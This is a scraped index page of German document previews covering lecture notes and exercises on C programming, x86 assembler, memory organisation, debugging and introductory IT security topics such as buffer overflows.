Rechnernetze und -Organisation. Teil B (30. März 2011) 2011 Michael Hutter Karl C. Posch Rechnernetz R Teil B (30. März 2011) 2011 Michael Hutter Karl C. Posch www.iaik.tugraz.at/content/teaching/bachelor_courses/rechnernetze_und_organisation/ 1 Zeitplan für Teil B Mittwoch 23. März 2011 Mittwoch

Mehr

6. Grundlagen der Programmierung

6. Grundlagen der Programmierung Computeranwendung in der Chemie Informatik für Chemiker(innen) 6. Grundlagen der Programmierung Jens Döbler 2003 "Computer in der Chemie", WS 2003-04, Humboldt-Universität VL6 Folie 1 Dr. Jens Döbler Grundlagen

Mehr

Angewandte IT-Sicherheit

Angewandte IT-Sicherheit Angewandte IT-Sicherheit Johannes Stüttgen Lehrstuhl für praktische Informatik I 30.11.2010 Lehrstuhl für praktische Informatik I Angewandte IT-Sicherheit 1 / 28 Aufgabe 1 Betrachten sie folgendes Programm:

Mehr

x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013

x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013 x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013 1 / 53 Inhaltsverzeichnis 1 Einführung 2 Assembler Syntax, Register und Flags 3 Hauptspeicher 4 Stack 5 Assemblerbefehle

Mehr

6 Speicherorganisation

6 Speicherorganisation Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen Speicherbereich für

Mehr

Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen

Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen Heap vs. vs. statisch Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen

Mehr

= 7 (In Binärdarstellung: = 0111; Unterlauf) = -8 (In Binärdarstellung: = 1000; Überlauf)

= 7 (In Binärdarstellung: = 0111; Unterlauf) = -8 (In Binärdarstellung: = 1000; Überlauf) Musterlösung Übung 2 Aufgabe 1: Große Zahlen Das Ergebnis ist nicht immer richtig. Die Maschine erzeugt bei Zahlen, die zu groß sind um sie darstellen zu können einen Über- bzw. einen Unterlauf. Beispiele

Mehr

M. Graefenhan 2000-12-07. Übungen zu C. Blatt 3. Musterlösung

M. Graefenhan 2000-12-07. Übungen zu C. Blatt 3. Musterlösung M. Graefenhan 2000-12-07 Aufgabe Lösungsweg Übungen zu C Blatt 3 Musterlösung Schreiben Sie ein Programm, das die Häufigkeit von Zeichen in einem eingelesenen String feststellt. Benutzen Sie dazu ein zweidimensionales

Mehr

Datenstrukturen, Alignment Stack Prozeduraufruf, Parameterübergabe und -rückgabe (Calling Conventions) Leaf procedures

Datenstrukturen, Alignment Stack Prozeduraufruf, Parameterübergabe und -rückgabe (Calling Conventions) Leaf procedures Vorbesprechung U8 Datenstrukturen, Alignment Stack Prozeduraufruf, Parameterübergabe und -rückgabe (Calling Conventions) Leaf procedures Basistypen Alignment der Basistypen auf deren Grösse Grössen (abhängig

Mehr

Assembler DOS (Beta 1) Copyright 2000 Thomas Peschko. Assembler II - DOS. ASSEMBLER Arbeiten mit Dateien und Daten.

Assembler DOS (Beta 1) Copyright 2000 Thomas Peschko. Assembler II - DOS. ASSEMBLER Arbeiten mit Dateien und Daten. Assembler II - DOS ASSEMBLER Arbeiten mit Dateien und Daten peschko@aol.com 1 Wer nun den Eindruck hat, dass unsere Programme hauptsächlich nur Unterprogramme vor ihren Karren spannen und sich darauf beschränken

Mehr

Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen

Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen Heap vs. vs. statisch Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen

Mehr

einlesen n > 0? Ausgabe Negative Zahl

einlesen n > 0? Ausgabe Negative Zahl 1 Lösungen Kapitel 1 Aufgabe 1.1: Nassi-Shneiderman-Diagramm quadratzahlen Vervollständigen Sie das unten angegebene Nassi-Shneiderman-Diagramm für ein Programm, welches in einer (äußeren) Schleife Integer-Zahlen

Mehr

Sicherheit in Software

Sicherheit in Software Sicherheit in Software Fabian Cordt und Friedrich Eder 3. Juni 2011 Allgemeines Begriffserklärung Woher Die 19 Todsünden 1 - Teil 2 - Teil 3 - Teil Was kann passieren Probleme beim Porgramm Durch Lücken

Mehr

Institut für Computational Science Prof. Dr. H. Hinterberger. Praxismodul 1. Einführung in die Programmierung Erste Programme

Institut für Computational Science Prof. Dr. H. Hinterberger. Praxismodul 1. Einführung in die Programmierung Erste Programme Institut für Computational Science Prof. Dr. H. Hinterberger Praxismodul 1 Einführung in die Programmierung Erste Programme Einführung in die Programmierung 2 Institut für Computational Science, ETH Zürich,

Mehr

Mit PuTTY und WinSCP an der Pi

Mit PuTTY und WinSCP an der Pi Mit PuTTY und WinSCP an der Pi arbeiten (Zusammenfassung) Stand: 08.10.2016 Inhalt 1. Einleitung... 1 2. Mit PuTTY arbeiten... 2 2.1 Kopieren und Einfügen... 2 2.2 Eine Sitzung mit PuTTY... 2 2.3 Verbindung

Mehr

Einführung in die technische Informatik

Einführung in die technische Informatik Einführung in die technische Informatik Christopher Kruegel chris@auto.tuwien.ac.at http://www.auto.tuwien.ac.at/~chris Betriebssysteme Aufgaben Management von Ressourcen Präsentation einer einheitlichen

Mehr

2. Aufgabenblatt Musterlösung

2. Aufgabenblatt Musterlösung 2. Aufgabenblatt Musterlösung Technische Informatik II Sommersemester 2011 Problem 2: Assembler Syntax Register eines 32-bit Intel-Prozessors: 16 bits 8 bits 8 bits general purpose registers EAX Accumulator

Mehr

Übersicht Shell-Scripten

Übersicht Shell-Scripten !!!! Wichtig: Bei Shell-Scripten enden die Zeilen nicht mit einem Strichpunkt!!!! Erste Zeile eines Shell-Scripts: #! /bin/bash Variablen in Shell-Scripts: Variablennamen müssen mit einem Buchstaben beginnen,

Mehr

Übungspaket 29 Dynamische Speicherverwaltung: malloc() und free()

Übungspaket 29 Dynamische Speicherverwaltung: malloc() und free() Übungspaket 29 Dynamische Speicherverwaltung malloc() und free() Übungsziele Skript In diesem Übungspaket üben wir das dynamische Alloziieren 1. und Freigeben von Speicherbereichen 2. von Zeichenketten

Mehr

Programmierung mit C Zeiger

Programmierung mit C Zeiger Programmierung mit C Zeiger Zeiger (Pointer)... ist eine Variable, die die Adresse eines Speicherbereichs enthält. Der Speicherbereich kann... kann den Wert einer Variablen enthalten oder... dynamisch

Mehr

Echtzeit-Multitasking

Echtzeit-Multitasking Technische Informatik Klaus-Dieter Thies Echtzeit-Multitasking Memory Management und System Design im Protected Mode der x86/pentium-architektur. Shaker Verlag Aachen 2002 Die Deutsche Bibliothek - CIP-Einheitsaufnahme

Mehr

Echtzeit-Multitasking

Echtzeit-Multitasking Technische Informatik Klaus-Dieter Thies Echtzeit-Multitasking Memory Management und System Design im Protected Mode der x86/pentium-architektur. Shaker Verlag Aachen 2002 Die Deutsche Bibliothek - CIP-Einheitsaufnahme

Mehr

Teil I Debuggen mit gdb

Teil I Debuggen mit gdb Teil I Debuggen mit gdb Wer kennt das nicht? $./a.out Segmentation fault Was tun dagegen? printf()s in den Code einfügen? Besser (und professioneller): Einen Debugger verwenden Wer kennt das nicht? $./a.out

Mehr

Gefahrenreduzierung nach stackbasierten BufferOverflows

Gefahrenreduzierung nach stackbasierten BufferOverflows Gefahrenreduzierung nach stackbasierten s Lars Knösel 22. Dezember 2005 Wichtiger Hinweis Dieses Dokument und die Live-nstration liefern Informationen, mit deren Hilfe es möglich wird, stackbasierte Pufferüberläufe

Mehr

Abstrakte C-Maschine und Stack

Abstrakte C-Maschine und Stack Abstrakte C-Maschine und Stack Julian Tobergte Proseminar C- Grundlagen und Konzepte, 2013 2013-06-21 1 / 25 Gliederung 1 Abstrakte Maschine 2 Stack 3 in C 4 Optional 5 Zusammenfassung 6 Quellen 2 / 25

Mehr

Dynamische Speicherverwaltung

Dynamische Speicherverwaltung Dynamische Speicherverwaltung 1/ 23 Dynamische Speicherverwaltung Tim Dobert 17.05.2013 Dynamische Speicherverwaltung 2/ 23 Gliederung 1 Allgemeines zur Speichernutzung 2 Ziele und Nutzen 3 Anwendung in

Mehr

Konzepte von Betriebssystemkomponenten

Konzepte von Betriebssystemkomponenten Konzepte von Betriebssystemkomponenten Systemstart und Programmausführung Seminarvortrag 15.12.2003, Michael Moese Übersicht 2. Systemstart 3. Programmausführung TEIL 1: Systemstart 1.1 Das BIOS 1.2 Der

Mehr

Methoden und Wrapperklassen

Methoden und Wrapperklassen Methoden und Wrapperklassen CoMa-Übung IV TU Berlin 06.11.2012 CoMa-Übung IV (TU Berlin) Methoden und Wrapperklassen 06.11.2012 1 / 24 Themen der Übung 1 Methoden 2 Wrapper-Klassen CoMa-Übung IV (TU Berlin)

Mehr

Grundlagen der Informatik III Wintersemester 2010/ Vorlesung Dr.-Ing. Wolfgang Heenes

Grundlagen der Informatik III Wintersemester 2010/ Vorlesung Dr.-Ing. Wolfgang Heenes Grundlagen der Informatik III Wintersemester 2010/2011 5. Vorlesung Dr.-Ing. Wolfgang Heenes int main() { printf("hello, world!"); return 0; } msg: main:.data.asciiz "Hello, world!".text.globl main la

Mehr

Sicheres C Programmieren in Embedded Systemen ARM I (ARM7TMDI [1] ) Wintersemester 2010-2011

Sicheres C Programmieren in Embedded Systemen ARM I (ARM7TMDI [1] ) Wintersemester 2010-2011 Sicheres C in Embedded Systemen ARM I (ARM7TMDI [1] ) Wintersemester 2010-2011 Dipl. Ing. (FH) Ebrecht Roland, Infineon Technologies AG M.Eng (Electronic Systems) Güller Markus, Infineon Technologies AG

Mehr

Programmieren in C. Speicher anfordern, Unions und Bitfelder. Prof. Dr. Nikolaus Wulff

Programmieren in C. Speicher anfordern, Unions und Bitfelder. Prof. Dr. Nikolaus Wulff Programmieren in C Speicher anfordern, Unions und Bitfelder Prof. Dr. Nikolaus Wulff Vergleich: Felder und Strukturen Felder müssen Elemente vom selben Typ enthalten. Strukturen können Elemente unterschiedlichen

Mehr

Netzwerksicherheit. Teil 2: Buffer Overflows und andere Gemeinheiten. Philipp Hagemeister. Sommersemester 2017 Heinrich-Heine-Universität Düsseldorf

Netzwerksicherheit. Teil 2: Buffer Overflows und andere Gemeinheiten. Philipp Hagemeister. Sommersemester 2017 Heinrich-Heine-Universität Düsseldorf Netzwerksicherheit Teil 2: Buffer Overflows und andere Gemeinheiten Philipp Hagemeister Sommersemester 2017 Heinrich-Heine-Universität Düsseldorf Netzwerksicherheit Teil 2: Buffer Overflows und andere

Mehr

8. Referenzen und Zeiger

8. Referenzen und Zeiger 8. Referenzen und Zeiger Motivation Variable werden in C++ an speziellen Positionen im Speicher abgelegt. An jeder Position befindet sich 1 Byte. Sie sind durchnummeriert beginnend bei 0. Diese Positionen

Mehr

Verwendung Vereinbarung Wert einer Funktion Aufruf einer Funktion Parameter Rekursion. Programmieren in C

Verwendung Vereinbarung Wert einer Funktion Aufruf einer Funktion Parameter Rekursion. Programmieren in C Übersicht Funktionen Verwendung Vereinbarung Wert einer Funktion Aufruf einer Funktion Parameter Rekursion Sinn von Funktionen Wiederverwendung häufig verwendeter nicht banaler Programmteile Wiederverwendung

Mehr

Funktionen in PHP 1/7

Funktionen in PHP 1/7 Funktionen in PHP 1/7 Vordefinierte Funktionen in PHP oder vom Entwickler geschriebene Funktionen bringen folgende Vorteile: gleiche Vorgänge müssen nur einmal beschrieben und können beliebig oft ausgeführt

Mehr

Methoden. Gerd Bohlender. Einstieg in die Informatik mit Java, Vorlesung vom

Methoden. Gerd Bohlender. Einstieg in die Informatik mit Java, Vorlesung vom Einstieg in die Informatik mit Java, Vorlesung vom 2.5.07 Übersicht 1 2 definition 3 Parameterübergabe, aufruf 4 Referenztypen bei 5 Überladen von 6 Hauptprogrammparameter 7 Rekursion bilden das Analogon

Mehr

C# - Einführung in die Programmiersprache Methoden. Leibniz Universität IT Services

C# - Einführung in die Programmiersprache Methoden. Leibniz Universität IT Services C# - Einführung in die Programmiersprache Methoden Leibniz Universität IT Services 02.07.12 Methoden... sind Subroutinen in einer Klasse. können einen Wert an den Aufrufer zurückgeben. verändern die Eigenschaften

Mehr

Malware-Analyse und Reverse Engineering. 13: Rückblick über das Semester Prof. Dr. Michael Engel

Malware-Analyse und Reverse Engineering. 13: Rückblick über das Semester Prof. Dr. Michael Engel Malware-Analyse und Reverse Engineering 13: Rückblick über das Semester 29.6.2017 Prof. Dr. Michael Engel Überblick MARE 2017: Einführungund Motivation, Malware-Historie Übersetzen und Linken von Programmen,

Mehr

Installationsanleitung

Installationsanleitung 1. C Installationsanleitung C-Programmierung mit Hilfe von Eclipse unter Windows XP mit dem GNU C-Compiler (GCC) 2. Inhaltsverzeichnis 1. Einleitung... 3 2. Cygwin... 3 2.1 Cygwin-Installation... 3 2.2

Mehr

OpenCL. Programmiersprachen im Multicore-Zeitalter. Tim Wiersdörfer

OpenCL. Programmiersprachen im Multicore-Zeitalter. Tim Wiersdörfer OpenCL Programmiersprachen im Multicore-Zeitalter Tim Wiersdörfer Inhaltsverzeichnis 1. Was ist OpenCL 2. Entwicklung von OpenCL 3. OpenCL Modelle 1. Plattform-Modell 2. Ausführungs-Modell 3. Speicher-Modell

Mehr

1 Maschinenunabhängige Optimierungen. Maschinenunabhängige Optimierungen Wintersemester 2008/09 1 / 17

1 Maschinenunabhängige Optimierungen. Maschinenunabhängige Optimierungen Wintersemester 2008/09 1 / 17 1 Maschinenunabhängige Optimierungen Maschinenunabhängige Optimierungen Wintersemester 2008/09 1 / 17 Optimierungen Automatische Optimierungen sind nötig, weil unoptimierter Code meist besser lesbar ist.

Mehr

Hausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010

Hausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010 1 Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010 Hausarbeit Thema: Computersicherheit Seminar: Datenschutz und Datenpannen Verfasser: Dmitrij Miller Abgabetermin: 5.3.2010

Mehr

12 Abstrakte Klassen, finale Klassen und Interfaces

12 Abstrakte Klassen, finale Klassen und Interfaces 12 Abstrakte Klassen, finale Klassen und Interfaces Eine abstrakte Objekt-Methode ist eine Methode, für die keine Implementierung bereit gestellt wird. Eine Klasse, die abstrakte Objekt-Methoden enthält,

Mehr

Festplatte klonen: Tutorial

Festplatte klonen: Tutorial Festplatte klonen: Tutorial Allgemein Es gibt sicherlich schon sehr viele Anleitungen dazu, wie man eine Festplatte klont. Der Grund, warum ich also eine eigene Anleitung schreibe ergibt sich daraus, dass

Mehr

2 Eine einfache Programmiersprache

2 Eine einfache Programmiersprache 2 Eine einfache Programmiersprache Eine Programmiersprache soll Datenstrukturen anbieten Operationen auf Daten erlauben Kontrollstrukturen zur Ablaufsteuerung bereitstellen Als Beispiel betrachten wir

Mehr

Grundlagen der Informatik Vorlesungsskript

Grundlagen der Informatik Vorlesungsskript Grundlagen der Informatik Vorlesungsskript Prof. Dr. T. Gervens, Prof. Dr.-Ing. B. Lang, Prof. Dr. F.M. Thiesing, Prof. Dr.-Ing. C. Westerkamp 16 AUTOMATISCHES ÜBERSETZEN VON PROGRAMMEN MIT MAKE... 2 16.1

Mehr

Algorithmen und Datenstrukturen (ESE) Entwurf, Analyse und Umsetzung von Algorithmen (IEMS) WS 2012 / 2013. Vorlesung 9, Dienstag 18.

Algorithmen und Datenstrukturen (ESE) Entwurf, Analyse und Umsetzung von Algorithmen (IEMS) WS 2012 / 2013. Vorlesung 9, Dienstag 18. Algorithmen und Datenstrukturen (ESE) Entwurf, Analyse und Umsetzung von Algorithmen (IEMS) WS 2012 / 2013 Vorlesung 9, Dienstag 18. Dezember 2012 (Performance Tuning, Profiling, Maschinencode) Prof. Dr.

Mehr

Zum Aufwärmen nocheinmal grundlegende Tatsachen zum Rechnen mit reelen Zahlen auf dem Computer. Das Rechnen mit Gleitkommazahlen wird durch den IEEE

Zum Aufwärmen nocheinmal grundlegende Tatsachen zum Rechnen mit reelen Zahlen auf dem Computer. Das Rechnen mit Gleitkommazahlen wird durch den IEEE Zum Aufwärmen nocheinmal grundlegende Tatsachen zum Rechnen mit reelen Zahlen auf dem Computer. Das Rechnen mit Gleitkommazahlen wird durch den IEEE 754 Standard festgelegt. Es stehen sogenannte einfach

Mehr

Einführung in die Programmierung 1

Einführung in die Programmierung 1 Einführung in die Programmierung 1 Einführung (S.2) Einrichten von Eclipse (S.4) Mein Erstes Programm (S.5) Hallo Welt!? Programm Der Mensch (S.11) Klassen (S.12) Einführung Wie Funktioniert Code? Geschriebener

Mehr

Übersicht. Speichertypen. Speicherverwaltung und -nutzung. Programmieren in C

Übersicht. Speichertypen. Speicherverwaltung und -nutzung. Programmieren in C Übersicht Speichertypen Speicherverwaltung und -nutzung Speichertypen Beim Laden eines Programms in den Speicher (Programmausführung) kommen 3 verschiedene Speicherbereiche zum Einsatz: Text Segment (Code

Mehr

Lösungsvorschlag zur 3. Übung

Lösungsvorschlag zur 3. Übung Prof Frederik Armknecht Sascha Müller Daniel Mäurer Grundlagen der Informatik Wintersemester 09/10 1 Präsenzübungen 11 Schnelltest Lösungsvorschlag zur Übung a) Welche der folgenden Aussagen entsprechen

Mehr

Debugging mit ddd (Data Display Debugger)

Debugging mit ddd (Data Display Debugger) Debugging mit ddd (Data Display Debugger) 1 Testprogramm installieren und ausführen Laden Sie sich das Fortran Programm sample.f90 und das Makefile herunter und speichern Sie sie in einem Verzeichnis.

Mehr

Informatik II Übung 05. Benjamin Hepp 3 April 2017

Informatik II Übung 05. Benjamin Hepp 3 April 2017 Informatik II Übung 05 Benjamin Hepp benjamin.hepp@inf.ethz.ch 3 April 2017 Java package Hierarchie import.. nur noetig um Klassen aus anderen Packeten zu importieren Es kann auch immer der vollstaendige

Mehr

Anleitung für zwei Fortran-Openmp-Beispiele auf der NWZSuperdome

Anleitung für zwei Fortran-Openmp-Beispiele auf der NWZSuperdome Anleitung für zwei Fortran-Openmp-Beispiele auf der NWZSuperdome (Timo Heinrich, t_hein03@uni-muenster.de) Inhaltsverzeichnis: 0.Einleitung 1.Teil: Helloworldprogramm 1.1 Quellcode: Helloworld.f90 1.2

Mehr

Zeiger. C-Kurs 2012, 2. Vorlesung. Tino Kutschbach 10.

Zeiger. C-Kurs 2012, 2. Vorlesung. Tino Kutschbach  10. Zeiger C-Kurs 2012, 2. Vorlesung Tino Kutschbach tino.kutschbach@campus.tu-berlin.de http://wiki.freitagsrunde.org 10. September 2012 This work is licensed under the Creative Commons Attribution-ShareAlike

Mehr

Strings. Daten aus Dateien einlesen und in Dateien speichern.

Strings. Daten aus Dateien einlesen und in Dateien speichern. Strings. Daten aus Dateien einlesen und in Dateien speichern. Strings Ein String ist eine Zeichenkette, welche von MATLAB nicht als Programmcode interpretiert wird. Der Ausdruck 'a' ist ein String bestehend

Mehr

Einleitung Funktionsaufrufe Berechnungen Verzweigungen Systemaufrufe Speicherzugriffe Fazit Quellen. Laufzeitkosten in C.

Einleitung Funktionsaufrufe Berechnungen Verzweigungen Systemaufrufe Speicherzugriffe Fazit Quellen. Laufzeitkosten in C. Laufzeitkosten in C Tobias Fechner Arbeitsbereich Wissenschaftliches Rechnen Fachbereich Informatik Fakultät für Mathematik, Informatik und Naturwissenschaften Universität Hamburg 19-12-2013 Tobias Fechner

Mehr